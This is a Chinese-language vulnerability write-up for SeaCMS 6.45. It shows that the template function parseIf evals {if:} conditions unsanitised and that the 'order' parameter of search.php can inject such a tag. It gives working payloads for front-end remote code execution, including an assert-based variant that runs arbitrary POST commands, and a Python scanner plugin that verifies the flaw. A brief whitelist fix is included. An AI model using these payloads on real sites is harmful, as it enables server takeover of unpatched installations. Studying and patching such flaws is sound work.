cms版本：6.45
直接上代码

function parseIf($content){
                if (strpos($content,'{if:')=== false){
                return $content;
                }else{
                $labelRule = buildregx("{if:(.*?)}(.*?){end if}","is");
                $labelRule2="{elseif";
                $labelRule3="{else}";
                preg_match_all($labelRule,$content,$iar);
                $arlen=count($iar[0]);
                $elseIfFlag=false;
                for($m=0;$m<$arlen;$m++){
                        $strIf=$iar[1][$m];
                        $strIf=$this->parseStrIf($strIf);
                        $strThen=$iar[2][$m];
                        $strThen=$this->parseSubIf($strThen);
                        if (strpos($strThen,$labelRule2)===false){
                                if (strpos($strThen,$labelRule3)>=0){
                                        $elsearray=explode($labelRule3,$strThen);
                                        $strThen1=$elsearray[0];
                                        $strElse1=$elsearray[1];
                                        @eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");
                                        if ($ifFlag){ $content=str_replace($iar[0][$m],$strThen1,$content);} else {$content=str_replace($iar[0][$m],$strElse1,$content);}
                                }else{
                                @eval("if(".$strIf.") { \$ifFlag=true;} else{ \$ifFlag=false;}");
                                if ($ifFlag) $content=str_replace($iar[0][$m],$strThen,$content); else $content=str_replace($iar[0][$m],"",$content);}
                        }else{
                                $elseIfArray=explode($labelRule2,$strThen);
                                $elseIfArrayLen=count($elseIfArray);
                                $elseIfSubArray=explode($labelRule3,$elseIfArray[$elseIfArrayLen-1]);
                                $resultStr=$elseIfSubArray[1];
                                $elseIfArraystr0=addslashes($elseIfArray[0]);
                                @eval("if($strIf){\$resultStr=\"$elseIfArraystr0\";}");
                                for($elseIfLen=1;$elseIfLen<$elseIfArrayLen;$elseIfLen++){
                                        $strElseIf=getSubStrByFromAndEnd($elseIfArray[$elseIfLen],":","}","");
                                        $strElseIf=$this->parseStrIf($strElseIf);
                                        $strElseIfThen=addslashes(getSubStrByFromAndEnd($elseIfArray[$elseIfLen],"}","","start"));
                                        @eval("if(".$strElseIf."){\$resultStr=\"$strElseIfThen\";}");
                                        @eval("if(".$strElseIf."){\$elseIfFlag=true;}else{\$elseIfFlag=false;}");
                                        if ($elseIfFlag) {break;}
                                }
                                $strElseIf0=getSubStrByFromAndEnd($elseIfSubArray[0],":","}","");
                                $strElseIfThen0=addslashes(getSubStrByFromAndEnd($elseIfSubArray[0],"}","","start"));
                                if(strpos($strElseIf0,'==')===false&&strpos($strElseIf0,'=')>0)$strElseIf0=str_replace('=', '==', $strElseIf0);
                                @eval("if(".$strElseIf0."){\$resultStr=\"$strElseIfThen0\";\$elseIfFlag=true;}");
                                $content=str_replace($iar[0][$m],$resultStr,$content);
                        }
                }
                return $content;
                }
        }

上面主要逻辑为解析html文件中的{if:}{end if}标签代码，可以看到没有做任何处理就eval，那么我们查找一下对应调用的地方会不会有漏洞。
主要关注前台，找到一处解析搜索结果的页面（search.php），代码比较多，一点一点来看。
找到调用的位置line 212

$content=$mainClassObj->parseIf($content);

往上看，发现他的逻辑是先解析其他类型的标签，比如

{searchpage:page}

那么接下来的思路，主要是2点，查找对应if标签可控的位置，另一种就是查找其他标签的可控内容，写入if标签
我找到一处其他标签可控且没有做任何处理的位置，直接写入if标签语句即可造成任意代码执行

function echoSearchPage()
{
        global $dsql,$cfg_iscache,$mainClassObj,$page,$t1,$cfg_search_time,$searchtype,$searchword,$tid,$year,$letter,$area,$yuyan,$state,$ver,$order,$jq,$money,$cfg_basehost;
        $order = !empty($order)?$order:time;
...
...
...
$content = str_replace("{searchpage:page}",$page,$content);
        $content = str_replace("{seacms:searchword}",$searchword,$content);
        $content = str_replace("{seacms:searchnum}",$TotalResult,$content);
        $content = str_replace("{searchpage:ordername}",$order,$content);
...
...
...

order变量可控并且在调用parseIf函数前先解析，所以我们可以通过order写入if标签。
查看一下具体html代码

<div class="btn-toolbar" role="toolbar">
    <div class="btn-group">
      <a href="{searchpage:order-time-link}" {if:"{searchpage:ordername}"=="time"} class="btn btn-success" {else} class="btn btn-default" {end if} id="orderhits">最新上映</a>
      <a href="{searchpage:order-hit-link}" {if:"{searchpage:ordername}"=="hit"} class="btn btn-success" {else} class="btn btn-default" {end if} id="orderaddtime">最近热播</a>
      <a href="{searchpage:order-score-link}" {if:"{searchpage:ordername}"=="score"} class="btn btn-success" {else} class="btn btn-default" {end if} id="ordergold">评分最高</a>
    </div>
  </div>

那么接下来就可以构造poc了，类似sql注入，我们先把前面的if标签语句闭合，写入恶意代码并闭合后面的if标签。
example：

}{end if}{if:1)phpinfo();if(1}{end if}

本地验证一下

看到有人问怎么深度利用，这里给出一种tips

searchword=d&order=}{end if}{if:1)print_r($_POST[func]($_POST[cmd]));//}{end if}&func=assert&cmd=phpinfo();

临时解决方案：
64行加：

$order = ($order == "commend" || $order == "time" || $order == "hit") ? $order : "";

验证payload

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Generated by ptools
#_PlugName_ = seacms最新版前台getshell
#__Refer___ = https://0day5.com/archives/4249
import re
def assign(service, arg):
    if service == fingerprint.seacms:
        return True, arg
def audit(arg):
    payload = '/search.php?searchtype=5'

    target = arg + payload
    
    code, head, res, final_url, log= hackhttp.http(target, post="searchword=d&order=}{end if}{if:1)print_r(md5(2333));//")
    if "f7e0b956540676a129760a3eae309294" in res:
        security_note(target)
if __name__ == '__main__':
    from dummy import *
    audit(assign(fingerprint.seacms, "http://www.example.com/")[1])